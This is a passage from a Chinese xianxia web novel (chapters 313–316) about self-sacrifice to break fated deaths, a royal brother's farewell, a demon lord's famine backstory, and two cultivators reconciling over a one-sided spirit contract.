为了破死劫,程启风做过了很多努力,不只是正道的法子,就连邪修的法子都学习不少了,而邪修法子的代价就是牺牲了程启风的一双眼睛,可结果算不上好,那活过来的小丫头成了个怪物。 程启风将人再次杀死后就有些茫然,可这茫然没有多久,他就因为乱用邪术被师父痛骂了一顿,然后踢出师门,而最后一丝情分让他还能继续留在问天门。 也不知是不是道心破碎了,总之程启风人也淡了,行事少了点偏激,多了点佛系,而这一切在他算出大家的死劫后就结束了。 佛什么佛,天都要杀下来了。 佛个屁,管他用什么法子,能把这天干一顿就是好法子。 程启风无能地怒了一下,然后就开始找起方法了,当然他也不忘记悄咪咪研究邪术,幸好一回生二回熟,他这次没有被发现。 而他在研究的时候偶然想起曾经的小丫头命格之时,他再次推算一番,居然发现这小丫头的命格上的死劫居然有两道。 人怎么还能死两次? 程启风感觉到自己好像抓住了什么,但他也猛然醒悟这法子之邪,若被有心人用了去,那么这天下肯定会翻起一阵动乱,所以程启风谁也没说,除了对盛礼越透露一点外,其他人他都瞒得死死的。 虽然这法子有点邪,但是能用。 程启风这样想着,他凭借自己的熟练用血画完阵法后,就开始定定地瞧着前面的漆黑,他看不到,但是他可以知道盛礼越就在那里。 而他没有告诉盛礼越的事情是,这邪术将人变成魔物的确能变出来,但是变出来的魔物远远不及那吃了那么多魔物的家伙厉害。 可程启风岂会做没有把握的打算?他算那么多,自然寻到了方法。 那就是献祭。 既然要献祭,那就有祭品。 程启风自己就是最好的祭品。 他的命格,他身上承担的命数,足以让盛礼越一跃而起,成为能和那魔物抗衡的存在。 而后面来的人定会杀死盛礼越,不管是那些将士,还是与盛礼越交好的马小桐和卫朔,还有那位盛礼越的至亲。 成为鬼的阵法也准备好了,他的死亡除了献祭外还有其他用处,程启风早就将死亡的利益算得明明白白,包括盛礼越的二次死亡。 所以…… 在盛礼越过来的时候,程启风轻轻闭上眼,可在那刺痛来临时,他还是不由得皱起眉头,血肉被撕扯,骨头被嚼碎,被吃掉的感觉并不好,但直到最后,程启风都没有动。 白衣已成血衣。 成为鬼后他倒是能看清这个世间了,可他并没有见过盛礼越作为人的模样,只能说有些可惜了。 自己是祭品,那么盛礼越算是自己的神明,如今盛礼越即将走向死亡,那么作为祭品的他自然也会跟着消散。 程启风在等着自己的结局。 盛礼越亦然。 剩下的时间足以让他好好地和兄长告个别。 所以…… “第一次见你哭,倒是罕见。” 盛礼越到最后还是要呛自己哥哥好几句:“再多哭点?难得见到这样没有威严的陛下,本将军可要多看几眼才死啊。” 第314章 死亡与新生 盛知许很难述说自己此时此刻的情绪,其中夹杂着难受,无奈,绝望,凭什么,理解,明白,尊重等等…… 不如说,他很少有这般强烈的情绪波动了,帝王本就擅长隐藏情绪,面上端的那叫一个君心难测。 再说了本来他就不太喜欢这个弟弟,又傻又喜欢呛他嘲讽他,整天和他斗来斗去,就算没什么感情,但久了也觉得人烦得很。 在他登基后这种情况倒是少了些,不如说是因为盛礼越在母妃死后就变了,变得有些冷,人也比之前要偏激。 但在盛知许过去看看人的时候,不可避免地被呛了好几句,盛礼越在当时把所有的过错都丢他身上,连着他的母后一起骂了好几句。 盛知许能忍?当然不能。 所以他也骂了回去,当然没盛礼越那么偏激,骂人的语句里也文艺,可话里头的恶言恶语一点也没比盛礼越少。 他们已经互相斗了许久,在那平和的表面被撕碎后,那心里的不满在此刻全部涌现出来。 盛知许只是比较冷静沉稳,并不是心里没有情绪,他如若真的当盛礼越这个弟弟不存在,也不会在万象盛会的时候逗人玩看人笑话。 当然,盛礼越没有骂过盛知许,就像他的无数次失败那样,他始终没有赢过盛知许。 那么,关系是什么时候缓和的呢。 是在偶然间过去看盛礼越,发现人喝醉酒哭着喊娘亲的时候? 还是在盛礼越半跪于他身前,低下自己那一向傲气的头颅,向他请示要奔赴战场,不杀完魔物绝不回来的时候? 又或者是在打了胜仗,接风洗尘宴会上,盛礼越再次意气风发,带着傲气朝他举着酒杯说祝朝国万年永昌的时候? …… 更久点的话,是在血脉相连的亲人离开了一次又一次,亦或者是臣子好友的离去,到最后,身边熟悉的面孔只剩下盛礼越的时候吗? 但是那又如何呢? 追究这些好像已经没什么意义了。 到现在,盛知许在盛礼越说完他哭了的时候,他才意识到自己的情绪早就外露出来了,可如若抬手擦泪,自己哭了的这件事不就更明显了吗? 所以,盛知许张嘴就说:“我没哭。” 盛礼越一愣,随即就笑了:“好,你没哭。” 没想到自己这兄长少见有这般孩子气的时候,这面子到最后还是死命端在人面前,不肯丢脸吗? 不过平时这位陛下对大臣们甜言蜜语也没见人觉得难为情啊……反倒是大臣们一个个都感动得说非陛下不嫁……不对,非陛下不忠。 那火依旧在他身上烧灼着,虽然有些刺痛,但不知为何盛礼越感觉到一丝心安,他再次和那突然要面子的哥哥说道:“哥,我是真的挺喜欢你的,但是你好像不太喜欢我。” 一直以来,虽说盛知许对许多大臣都甜言蜜语,唯独对他都没有过,反倒是比较公事公办一点,盛礼越试过自己态度随便一点,发现人不是很在意,那他就一直随便着来了。 因着俩人关系的缘故,极少人在他们面前提起对方,不过奖赏是慷慨的,毕竟他可是朝国的守护神。 “所以,如果有下辈子,我们当对平凡的兄弟吧?”盛礼越说完自己都觉得这话煽情又好笑,可能自己下辈子的时候,盛知许还在当皇帝呢:“啊,算了,或许我们不是亲人更好。” 随着火势的越来越猛烈,盛礼越可以感觉到自己的意识逐渐溃散了,可能是灵水的效果上来了,他觉得很累很累。 身形也随着这烈火慢慢散去,也不知是不是火的缘故,在消散前,盛礼越感觉身体一轻,体内的魔气也在刹那一扫而空。 而在盛知许眼里映出的不是变成魔物的盛礼越,原来不知何时起,盛礼越身上的魔化被温柔的火给驱散,留下的是那曾经于阳光下开朗大笑的少年郎。 盛知许伸出手,想要抓住什么,留下来些什么,可指尖触碰到的却是燃尽后的轻灰,他可以听到自己发出来的声音有些干涩:“不……” 那连接着俩人的血脉红线也在这一刻随着盛礼越的离去而断开。 “我并不讨厌你。” 相反…… 他也很喜欢这个弟弟。 只是,他一向戴着面具惯了,把自身喜好都藏得死死,有时候就连自己都能骗过去。 这一天,盛知许失去了他在这世上的最后一个亲人。 另一边,卫朔探查着马小桐的呼吸,在盛礼越离开后,马小桐身上的生气就逐渐回来的时候,他就明白了程启风还有盛礼越都付出了什么。 程启风作为执棋者,而盛礼越甘为棋子,两者联合瞒天过海,由盛礼越背负了马小桐的死劫,迎来了二次死亡。 至此,马小桐死劫已破。 连同卫朔的命格一起。 卫朔张了张嘴,想要说点什么,但张嘴后只剩下那止住已久的哭声尽泄而出,这一切,在马小桐睁开眼的时候更甚。 马小桐感觉到自己好像做了一个漫长的梦里,梦里,她和伙伴们一起吃饭修炼玩耍,可在梦的尽头里,她拉着卫朔飞奔于前方的时候,盛礼越和程启风都停下了脚步。 她转头问他们:“你们为什么不过来呀?” 而他们则笑着说:“不了,我们就不过去了。” 马小桐听到这话张嘴就说:“那我也不过去了。” 说完,她只觉得心里头酸涩苦闷得紧,所以马小桐又重复了一遍,想要闹上一闹:“那我也不过去了!!” 盛礼越闻言笑着道:“那可不行,我盛礼越的朋友怎么能就此止步不前,别给我丢脸。” 程启风轻笑了一声,那双金眸里满是无奈:“听话,走吧,往前走,卫朔在等你呢,你可不能让人再次孤独一人啊。” 马小桐怔愣了一会儿,她抬起头往天上看去,因为她好似听到了卫朔的哭声。 她不傻,她都明白的。 “小桐……” 睁开眼后,马小桐就看到在低声哭泣的卫朔,那眼泪滴在她的脸颊上,滑落而下,力气逐渐回来了,那笼罩于在头顶的死亡阴影被人驱散了去。 她都明白的。 马小桐什么都明白。 问天门弟子对于因果劫数什么的,都比旁人要明白得多。 正因为明白,才知道这份新生的代价是多么的让人想要哭泣。 马小桐被卫朔抱住了,她还没来得及说什么,卫朔嘴里所说的话语让她的眼泪直在眼里打转。 “幸好你还活着,幸好还有你活着,小桐,呜呜呜呜呜,求求你,以后一定要活着,我只有你了,只有你了……”卫朔抱住马小桐嚎啕大哭,他自然知道这份新生的来之不易,他经历的死亡比旁人要多。 他曾经送走了无数人,哭得麻木,哭得没有力气再哭。 卫朔也想跟着死,他想着死掉了是不是还能再见到大家了,可老天爷不让他死,他怎么操作都死不了。 然后,问天门告诉了他答案,他得知答案的时候只想笑,无助的那一种,他就是个死不掉的灾星。 在和那三人成为同伴的时候,他是担心的,但是他舍不得,因为他害怕自己一个人,他已经好久好久没有和人建立关系了,想着就一会儿应该不打紧。 因为他们没有嫌弃自己的命格,还说那都是天的错,盛礼越骄傲地说区区一个灾祸命格自己压得住,程启风淡定地说自己能推算出来躲掉,马小桐尽管不是天才可她的话却比那俩人要嚣张。 马小桐说:啊?管它呢? 虽然那后半句是马小桐求他别死。 百年过去,卫朔见大家都好好的,也就放松了些,可在劫难来临的时候,卫朔的心顿时就冷了,他自然知道死劫躲不过去,只能延长。 盛礼越与程启风安慰的话语对他无用,马小桐那懵懂的眼神更让卫朔难受。 而后他更加努力寻死,只要他死了,是不是这场由他带来的死劫就会破除,怀着这样想法的他毫不犹豫拿着剑扎入自己的胸口。 可他最后还是没死成。 直到今天,在看到马小桐被刺破胸口的时候,卫朔就明白了那悬于头顶的刀刃终于落下,他在进入魔城的时候已经不敢去想盛礼越和程启风如何,而鬼道友的身份他也不愿意深入去想。 因为此刻的卫朔只想着尽力护着他所仅剩的一切。 最后,卫朔放弃了,他不去想了,他只要把小桐的遗愿完成好就行,待大家全死后,他就给大家守一辈子墓,不再去外人接触算了。 可如今,奇迹出现了。 这如梦般的奇迹让卫朔感觉到了不真实,于是他抱住了马小桐,感受着那温热的人儿那鲜活的心跳。 马小桐将脑袋靠在卫朔的肩膀上,随后她呜咽着出声:“呜呜呜呜,卫朔,我看到礼越和启风了,他们不能和我们一起走了。” “我想他们了…我现在好想见他们…”马小桐在醒过来后的第一时间并没有为自己的新生感到欣喜,而在伙伴的怀抱里放声大哭。 卫朔闻言,就哭着将其抱得更紧些了。 魔城的一切总算结束,唐山玉踉跄地寻了个墙壁靠在上面,四周的氛围充满着离别的悲伤和劫后余生的轻松,他不知道秦兰时那边到底如何,他只是等待着,和往常一样。 这次不只是灵力的掏空,还有身体上的负担,那药的确可以在一瞬间提高修为到化神,但那是有代价的,而代价就是…… 唐山玉看了一眼自己此时的长发,如今已有不少白发夹杂在其中,若不是修士容貌在修炼到筑基就不会轻易改变,他现在怕是会变成个老爷爷了吧。 想到这里,唐山玉苦中作乐地想着老年人碰瓷的可行性,他觉得自己目前情况算好了的,那些失去生命的人比他要惨得多。 而且他这个努力养养,应该可以养回来…… “山玉。”秦兰时的声音不知何时在耳畔响起,唐山玉有些惊喜地抬起头看去,随后他看到秦兰时绷着脸过来了……不,是一开始绷着脸,但是在看到他的白发后,秦兰时瞬间破防了:“你…你这个白发??” “……嗯,刚染的。”唐山玉顿了顿,然后一本正经地说:“免费的,不要钱。” 秦兰时:…… 你看我像傻子吗? 第315章 一起 齐穗是被秦兰时一剑结束的,在那之前,她躺在地上,因为经历了一场战斗后,她身上的能量都耗尽了,而随之袭来的是饥饿,强烈的饥饿感将她整个人所包裹。 张了张嘴,又觉得渴。 身子又很痛。 这种感觉她好久没有体验过了。 在很久很久以前,凡界,在一片光秃秃的大地上,没有水没有植物,干涸的土地好似受到了天的惩罚崩裂开来,能吃的能喝的,被饿死的人多了去,而倒下的人也是食物。 齐穗就在其中,她先和弟弟妹妹一起吃掉了母亲,然后再把一个一个死掉的弟弟妹妹吃掉,最后,她一个人活了下来。 父亲为了保护他们早早就死掉了,而留下来的尸体也被人吃掉了。 她没能成功吃掉自己的父亲。 齐穗很愧疚,因为她唯独没有吃掉父亲,这样的话,就好像他们一起抛弃了父亲那样。 但等把能吃的都吃掉后,齐穗又开始饿了,她饿得把地上的土往嘴里扒拉,可这样远远不够,不够,一点都不够。 她好想吃东西,好想吃家里的麦饭,那淡淡的麦香和饱腹感是如此的让人怀念。 想活下去…… “你想活下去吗?” 就在那个时候,江易年出现在她的眼前,齐穗抬起头,她看着这个男人,眼神极为凶狠,心里想着杀掉他吃了这个男人的血肉,最后留下衣服给自己穿着保暖,还能活上好些时候。 可这些想法都在这个男人给她递上一个白面馒头结束了,那一刻,齐穗的眼里只有这个白花花的馒头,它看着是那么漂亮那么嫩。 不等江易年开口,齐穗已经率先伸出手抢走了馒头,然后直接塞进自己的嘴里,她还小,嘴不够大,但是她依旧硬塞进去,因为她被抢怕了。 嘴里干干的,所以齐穗吃着有点噎,可江易年又给她递上了水,这一顿幸福的饱饭好像在曾经的梦里有过。 江易年打量了她一番,随后就笑着道:“只要你跟我走,我保证你顿顿吃饱。” 这一刻,齐穗的眼睛亮了起来。 在那之后,无论做什么,齐穗都听江易年的,做什么实验都好,吃什么怪东西都好,只要能吃饱能活着,齐穗甘之若饴。 在后来,她吃饱喝足了,肚子填饱了人就开始想东西了,齐穗就想,以后要死绝对不能饿死,撑也要撑死。 可是…… 她现在好饿啊。 在秦兰时举起剑的时候,齐穗已经无力动作了,方才的那一击已经耗尽了她的所有,在最后的最后,她不由得想起许久没有做过的梦。 在那一片梦里,一片片金灿灿的麦田被风吹动着起了麦浪,牛儿背上坐着她的弟弟妹妹,母亲与她拉着手,父亲赶着牛,一家人整整齐齐地走在充满希望的麦田里。 而在秦兰时一剑下去后,这场梦或许在刹那达到了永恒,最后,秦兰时看着在地上齐穗,松了口气,他终于把这个魔主给干掉了。 没想到要结束的时候,这齐穗突然就过来给他展现最后的一击,差点就被得逞了,而此时天边的金雨还在往下落着。 秦兰时抬起头看向那个地方,他打算往那边去,因为唐山玉在那里,可在秦兰时迈开步子的时候,有人……不,有鬼喊住了他。 秦兰时转头看去,气息上发现是那个鬼道友,但他看到的是已经摘下面具的程启风,对于程启风他当然认识,毕竟随清宗和问天门的合作比较频繁。 “……你?”秦兰时见人如今的情况,看上去好像下一刻要散去那样,他可以感觉到,程启风现在好像在靠外边的什么力量维持着身形,而现如今,那股力量似乎正在崩溃,而程启风也会随着力量的崩溃逐渐散去。 “见过青莲剑尊。”程启风规矩地拱手一礼。 这个称呼秦兰时许久没有听人喊过了,百年的时光对修仙者来说,不算长,但也不算短了。 “你是要我帮忙吗?”秦兰时语气不由得柔和起来。 “不必劳烦前辈了,我心中有数。”程启风摇了摇头,然后说:“等这魔城破除后,想必大家就安全了。” “那你是来……”秦兰时见人神情淡定,好似不是来求助的,所以他略有困惑地继续问着。 “前辈,你手背上的灵契是谁给你弄的?”程启风直截了当地进入主题。 “…是我道侣给我弄的。”秦兰时听到这话,瞬间就感觉到一丝慌乱,他在想山玉不会对这个灵契做了什么吧?这个可能性简直是百分之九十九。 “…前辈,那不是完整的道侣契……”程启风斟酌着词汇,之前他就想说了,只是没时间罢了:“比起互相平等的道侣契,它更像是一种主从契,因为上面的灵契是单方向的。” “……”秦兰时没说话,但是他已经抚上了手背上那道红纹。 “你看不出来也正常,因为这是这百年里新出的一种灵契,它有点邪门,被人们发现的时候,这是用来骗婚的,因为它会产生和道侣契相同的连接灵力波动,所以在那时闹得很大。” “但是它也有解法,只要施展灵契者主动解除就可以了,反之,另一方只要找机会施展相同的解契过程也能成功结成道侣契,因为本质上就是利用道侣契诞生出来的东西。” “……那我这个是主契还是从契。”秦兰时感觉自己现在的心情很平静,怎么说呢,可能是意料之中吧,因为唐山玉就是那样的人啊。 “……主契。”程启风也是第一次见有人亲自给对方打上主契,给自己留下从契的,这和把自己的命亲手交给对方有什么区别呢。 “我明白了。”秦兰时笑了一下,然后说:“你还有什么需要我传达的话吗?我保证给你带到。” “…这个啊,就不用了吧,我该说的早就说了。”程启风听到这话,轻轻摇头,因为该说的话早就放在行动里了,他相信马小桐和卫朔会明白的。 秦兰时点点头,然后说:“我知道了。” 最后,秦兰时站在这里,看着程启风一点一点地散去,这个孩子就那么抬起头,站在这里看着天上的金雨盛大落下,他眼里也因此闪烁着漂亮无比的光芒,那些金雨里好似有无数个人,是那些无数个拼尽全力往天上冲去的人,最后,他们盛大又无奈地自天上落下。 可落在地上后,那不息的火焰又会再度燃烧而起。 “…我想起来了,好像确实有要留的话。”程启风突地转过头来,看向秦兰时,他轻轻地笑了:“麻烦前辈去与我师父,也就是问天门的门主说一声。” “徒儿不孝,怕是要顺着这天,先走一步了。” 程启风难得收起笑容,就连那一丝柔和都被人收了去,留下的只有那要刚上去的无畏与强硬,那渐渐消散的身形和那道铿锵有力的声音的对比是如此的鲜明。 “但,命数是会有变的,人在其中至关重要,天并非不可违,因为徒儿已努力证明了这一点,所以,师父您一定会成功的。” 秦兰时一愣,这番话他也曾肆意说出口过,但都被那接踵而来的命数所压垮,傲气,狂妄,坚定等等这些只会顺着一次次的失败消失。 他何尝不是在担心如果当时他不顺着这命去,没有来魔域做这个魔主,而是继续在随清宗被师门保护,自己会给随清宗,给山玉带去灾难呢? 唐山玉的差点死去让秦兰时真的怕了。 怕得不行。 就算真要死,也得他一个人死才行啊。 要是因此而伤害到他身边的人,那秦兰时不如干脆去死得了。 唐山玉患得患失,秦兰时又何尝不是呢? 毕竟就连谢璟这个主角都按着剧情走着,那他这个反派配角又能抵抗得了什么?不管是他,还是那顾延清,都不过是这名为命数棋局的其中一枚棋子。 所以…… 只要他一个人死了就好了。 秦兰时是那么想的。 这种感觉在看到唐山玉那白发的时候更为强烈,他本来是想过来和人算账的,并且要求对方把这个该死的单方面契约解除掉,这种不平等的契约他不想要。 当初说的同生共死说得那么好听,到头来不还是想要留他一个人独活。 混蛋…混蛋……唐山玉就是个混蛋,秦兰时也是个混蛋。 “唐山玉。”秦兰时喊了人一声,唐山玉听到这话就看了过来,秦兰时清了清嗓子又喊了一声:“唐山玉。” “……”唐山玉没应,他大概猜到了秦兰时此时此刻的态度是怎么回事了。 “你把这个解了,现在,立刻,马上。”秦兰时抬起手,对唐山玉露出手背那的契纹,那抹鲜红染在上面,衬得秦兰时的皮肤格外的白。 “不要。”唐山玉笑了一下,看上去很欠揍:“我让你当主人不好吗?” “不好。”秦兰时恶狠狠地磨了磨后牙根,然后说:“这样一点都不好,难怪你都这模样了我都没有察觉到。” “不满意?受着。”唐山玉继续笑着,但是语气却是难得的阴阳怪气起来了:“毕竟魔主大人劳心劳神,怎么能让这点小事误了您在魔域的前路?” “你的命就是小事?唐山玉,我之前就想说了,你总是说我不管自己的命,你自己明明也是这样!”秦兰时听到这阴阳怪气,还有那不把自己的命当回事的话,火气瞬间就上来了。 “所以我把自己的命给你了,这样我会更珍惜自己的命,这是好事啊,不是吗?我这不是在找方法改了?”唐山玉继续温和地笑着,此时盛知许已经拿到了魔物核心准备过来找唐山玉商讨破魔城一事,然后盛知许看到了俩人之间一触即燃的气氛。 盛知许:…… 盛知许默默地走了。 盛知许觉得现在这魔城比起唐山玉和秦兰时俩人之间那一触即发的战火,其实还是很平和的,因为这里魔物死的死,没死也因为这火不敢动。 他还是带着人自己去商讨吧,反正有时间,也不急。 “我想要的根本不是这个……”秦兰时听到这话,很显然唐山玉这话直接在秦兰时心里头燃起了火,但是他此刻却满是无助与绝望:“唐山玉,你明明知道我想要的不是这个。” “可是这个你也没有给过我啊。”唐山玉闻言笑了出声,他凑过去,伸出手指轻轻戳了戳秦兰时的胸口:“…不过你的确给了我不少安全感,但是最后把这些收回去的也是你。” “秦兰时,你真是好得很。”唐山玉收回了手,重逢的这段时日里,他终于开口喊了秦兰时的名字,他退回去咬牙切齿地说:“是你说我可以依赖你的,是你说过会一直在我身边的,是你说的,这些都是你先说出口的。” “唐山玉,我承认此事是我的不对,你要我说多少遍对不起受怎么样的惩罚都行,但是你什么时候可以不用自己的命冒险?!”秦兰时深深吸一口气,他让心里头沉闷酸涩压回去后就慎重道:“你的命很重要,我不希望你看轻自己的命,所以我才让你可以依赖我,你不是孤身一人,你……” “可我已经这样一百年了。”唐山玉打断了秦兰时这话,一直以来,俩人的关系好像都是唐山玉迁就秦兰时,沉稳唐山玉将欢脱的秦兰时养得恃宠而骄的,可事实真是这样吗? “你没把我养好,我已经这样一百年了。” 此刻魔城正在被破解,那天上一层层的漆黑魔气逐渐退去,而后,有一半天空露出了属于凡界的光明,由于魔城立于魔域与凡界交界处,所以现在的魔城结界尽管被破解了,但天空还是一半白一半黑。 而唐山玉就站在光明处,阳光将他的衣着映得明亮,和正站在黑暗处的秦兰时形成鲜明的对比,俩人就那么站在明暗交界处,任由那道鲜明的交界线将俩人分开。 “我想要的其实很简单,无论何时何地,就算我会因此死亡,你都不许松开我的手。”唐山玉身体往前倾去,他似乎想要上前一步抓住秦兰时,可伸出手的和迈开的步子又在下一刻缩了回去:“我不要你那种为了我好就离开我,我只是不想和你分开。” 说完,唐山玉感觉眼前模糊了一片,他愣了一下才反应过来,哦,原来他又哭了,他这辈子极少那么感性的时候,因为理性告诉他哭没有用,可感性又告诉他,想哭就哭吧,难受极了也就只能哭了。 这辈子大部分眼泪全栽秦兰时这里了。 就在这一刻,秦兰时伸出手握住唐山玉的手腕,将人拉了过来,唐山玉往前踏了一步,进入了和秦兰时一样的黑暗里,而秦兰时则俯身而去,扣住唐山玉的后脑勺,低头吻住了人。 唐山玉微微愣了一下,然后就用力推开秦兰时一点,是的,一点,因为他的力气这次没比过秦兰时,秦兰时这回没让他。 俩人的唇就这样一触即离,可还没等唐山玉说什么,秦兰时微微歪头,随后又用力按着脑袋将人往前带去,吻再次来势汹汹地上来了,俩人气息逐渐混乱着。 中途,唐山玉又推开了人些许,眼里染上一层薄雾,并且声音微颤地说:“我特么在和你说正事………” “你个疯……唔!” 又是一场任由对方掠夺的呼吸,而其眼角的泪不知何时被人用指腹轻轻抚了去。 待秦兰时吻完,就弯着身子抱住唐山玉 脑袋趴在人的肩膀上,而他的视线落在唐山玉那还未融入黑暗的半个身子上。 秦兰时可以听到自己的声音正在慎重地开口着: “山玉,我终有一天是会死的,我会死掉,就像上一世那样,死在家人面前,就算我会这样离开你,你也接受吗?” “……不接受。”唐山玉喘着气,找回了自己的声音后回答道。 秦兰时:…? “你不应该说你接受,然后我们俩和和美美地一起走吗?”秦兰时觉得剧本不对,但是怀里的人他依旧抱着不撒手。 “……我…”唐山玉因为方才那个吻,正努力找回自己的理智,谁能想到因为这个,自己现在的腿有些软了,都怪秦兰时。 与此同时,那边传来了盛知许手下将士的呼唤声:“仙长——仙长——陛下让我们来寻你过去——” “我不会让你死。”唐山玉往后退了一步后和秦兰时拉开身距,秦兰时感觉到自己怀抱里一空,可下一刻,唐山玉便转而拉住秦兰时的手。 一个用力间,唐山玉将秦兰时从黑暗拉到了光明里。 “你不会死,我也不会死,我们会好好地活着,并且开心地度过这一辈子。” 此刻,唐山玉眼里的坚定让秦兰时想起了很多年前,在万象盛会上,少年挥出的那一剑。 而那一剑的身影其实一直深深留在秦兰时的脑海里,它就像一个象征,一个希望,可后来的剧情不可抗力的恢复,让秦兰时曾有一段时间深深嘲弄着命运的这场玩笑。 他以为他赢了。 其实原来一直没赢。 “山玉。”秦兰时开口了。 “嗯?”唐山玉微微侧头去看人。 可正是因为一直输,所以他已经输习惯了。 只要他还活着,他就能输无数次。 而这天只需要输一次,就足以让人畅快无比,而其后者自会自那绝望的天命间窥见希望。 所以,他理应比这天道要无畏。 “和我再次挥出那一剑吧,这次我们俩一起。”秦兰时握紧了唐山玉的手,走上前,然后与人肩并肩地走在了一起。 “…………” “可是一加一等于二,我们挥出的剑数不应该两剑吗?师父,你的算数在这百年里变那么差了吗?” 秦兰时:? “没事,我原谅你了。”唐山玉用那种关爱弱智的眼神看着秦兰时。 硬了,拳头硬了。 就在秦兰时要发威的时候,唐山玉果断地松开手,他转身就朝着盛知许等人所在的方向跑去。 秦兰时紧随其后,怒气冲冲地道:“站住!!谁让你这样诽谤师父的!!” “听不见听不见~”唐山玉跑在前面,后边跟着个阴暗发疯成残影的秦兰时。 俩人欢快地跑在阳光里,和曾经一样嘻嘻哈哈的,就像那些烦恼从未来过那般。 第316章 晕好了 “我们之后会回凡界,所以你是打算在魔域逗留了是吗?”在一切事情结束之际,也正是分别之时,盛知许看着眼前的唐山玉,青年身姿挺拔,发间的那抹白在阳光的照耀下显得无比刺眼,他对此顿了顿就继续开口道:“此行多亏了你。” “还好还好,自愿的。”唐山玉在秦兰时那赤裸裸的视线里狠狠点了好几下头,他笑着说:“此番能胜,不只有我出力,诸位皆有出力。” 是的,不止是他。 如果那个魔物没有大家一起打败,盛礼越没被人控制住,魔主齐穗没被秦兰时拦住,如果那千落雨没有被将士们随身携带,那么唐山玉再有那么多可以提升实力药丸,也不会有空射出那一箭。 虽说他可以一边吃药一边战斗,但是也不会有如今这般温和的场面。 能成此等局面,少不了诸位的努力,无论是过去的,还是现在的…… “接下来我要回去了,你们回魔域要小心些……”盛知许看了一眼旁边的秦兰时,又顿了一下:“或许也不用太小心。” “我会的,你们也是。”唐山玉笑着与人告别着,随后,他看了一眼那些正小心翼翼地收集这里泥土的将士们,有的在扒泥土里的盔甲,还有的往远的地方走几步,正努力地寻找些什么。 “你们也该回去了。”这句话几乎像极了一声轻叹。 “…嗯。”盛知许垂眸,他轻轻抚摸着那被自己抱在怀里的长枪,这是那人留下来的东西,低声念叨着:“是该回去了。” 而秦兰时在看到已经哭得差不多的马小桐和卫朔走了过来,他走过去和他们说了点事情,刚一开口,俩人好不容易止住的眼泪都要在打转了。 秦兰时没哄,他觉得这是应该要哭的事情,不如说,也不该是他哄。 要说盛礼越或许还剩下了什么,程启风当除了轻飘飘的一句话后真是什么也没剩下。 不…… 秦兰时想到这里,抬起头仔细地看了看马小桐和卫朔,见俩人要哭不哭的,而那鲜活的生命跃动着名为命运的纸张上,留下了独属于他们的未来。 还是有留下些什么的。 这不就在眼前么? 秦兰时在心里略有无奈笑了一下,他有时候倒是没这些后辈通透,不管是程启风,还是那唐山玉。 而唐山玉那边已经说完了事情,他朝着秦兰时这边走了过来,而秦兰时也不由得转身往人那边走了几步,俩人就这样互相朝着对方走来,然后站在了一起。 “我们也该走了。”唐山玉转头和盛知许等人开口道:“对了,我方才说的事情记得要办。” “自然。”盛知许点了点头。 而后,唐山玉与秦兰时一起踏入了魔城的另一边黑暗,盛知许看了一会儿后,就带着众人转头往另一边光明走去。 …… 此番事了。 而顾延清那边也已经将那头的魔城破除,谢璟还真是乖乖的裹着被子等人回来,顾延清见人如此乖还有些愣神,他好似看到了以前的谢璟。 以前的谢璟便是这样,安静的,拿着那盏不算特别亮的灯,站在他会归来的路上,等他。 “顾延清,你回来了。” [师父,你回来了。] 记忆与现实的声音重叠着响起,顾延清回过神来,就走过去蹲下来轻轻抚上谢璟的脑袋,轻声问:“还好吗?我们该出去了。” “……”谢璟眨了眨眼,没有回话。 “…可是有哪里不舒服……?”顾延清见人不说话,随后就轻轻皱眉,抬手将谢璟身上的被子扒下来往里看看,很好,魔纹的颜色更深了。 “…你这个到底是怎么回事?”顾延清很想问他们都对你做了什么,可话到嘴边却被他亲自吞下,这番苦涩,顾延清知道的,这都是他的错,是他没有护好眼前的这个人。 “这不重要吧?”谢璟笑了一下,就伸手将那被子重新裹回自己身上,然后说:“反正我们也不熟,你也别拿师父的身份压我,你只是熟悉过去的谢璟,而不是熟悉我这个谢璟。” “……我没有,我不是那个意思。”顾延清摇了摇头,然后说:“我只是想帮你,仅此而已。” “……是吗?那你刚刚为什么不帮我?”谢璟本能地还想开口嘲讽几句,可面对顾延清那或许在失魂落魄的脸,张开嘴又闭上,并且狠狠地咬了咬牙,换个话题。 顾延清想起刚刚发生的一切,顿时不自在了起来,正要打算说些什么的时候,因为魔城破解,可以联络外界的石板震动了起来,他本能地拿起石板查看内容,而谢璟眼睁睁看着人因为石板延迟回复了自己。 “……”嘁。 谢璟什么也没说。 又好像什么都说了。 但是心里这种果然如此到底是怎么回事? 他怎么还习惯上了。 而顾延清接收到的便是唐山玉的信息共有两条,一个是入魔城前要求他过来帮忙的,一个是解决事情结束让他不用过来的,并且还说他们把六魔主齐穗给干掉了。 总之顾延清看了一遍唐山玉总结完的信息后,就明白凡界那边的结界怕是被魔族找到空子突破了。 所幸唐山玉和其他人拦截得很及时,现在的事后工作只需要重新将结界补上就行……只不过唐山玉在里头提出的想法倒是让顾延清心头一顿,或许这并非不可行。 再往下看去,好的,不用他思考了,唐山玉已经先斩后奏了。 现在的顾延清只需要思考怎么配合外边的人里应外合就好,毕竟都搭进去一个顾延清的,总要有所收获吧。 “……”顾延清看完并且想完公事后,就发现自己好像忘记了什么,他抬头看去,就看到了一脸幽怨的谢璟。 “办完了?”谢璟幽幽地开口道。 “嗯。”顾延清点头应是。 “那你之后还要忙吗?”谢璟又问,不知怎么的,他总觉得自己说出这话后很是熟悉,感觉自己说了好多遍那样。 “暂且不用。”顾延清凑过去,然后小心翼翼地隔着被子握住谢璟的手:“你这个情况要不要休息几天?” “要,我躺两三天就好了。”谢璟没说一开始的时候自己需要躺半个月,只不过后边习惯后就变成了现在的两三天。 “那正好,我们就在魔城里休息两三天?这里的魔物已经都被我处理干净了。”顾延清又小心地问着。 “所以你刚刚为什么不帮我?”既然人忙完了,那就继续问方才的问题。 “……不妥。”顾延清想起方才的情况,指尖微颤了一下,他深深吸一口气,然后说:“你的情绪不对,而且身体也不舒服,更何况我们不能就这般……” “这般?哪般?”谢璟故意咀嚼其字眼,而顾延清也在他意料之中的那样红了耳朵。 “总之,不可。”顾延清果断摇头。 谢璟没有在这个话题上继续深入,他见人这般抵抗,顿时兴致缺缺,索性也就不说了,他将自己裹在被子里躺下了,感觉着那若有若无的温度。 果然还是不够。 要不干脆让顾延清把自己打晕两三天得了。 这种持续性的难受可真难熬。 顾延清见人不再说话,就担心自己是不是说错了什么,他凑过去摸了摸这团被子,问道:“阿璟,哪里不舒服?有我能帮忙的吗?” “你干脆把我打晕算了。”谢璟想到了就说了,只不过在他说出这话的时候,就感觉到顾延清那视线之强烈。 “我很难受。”谢璟再次补充道。 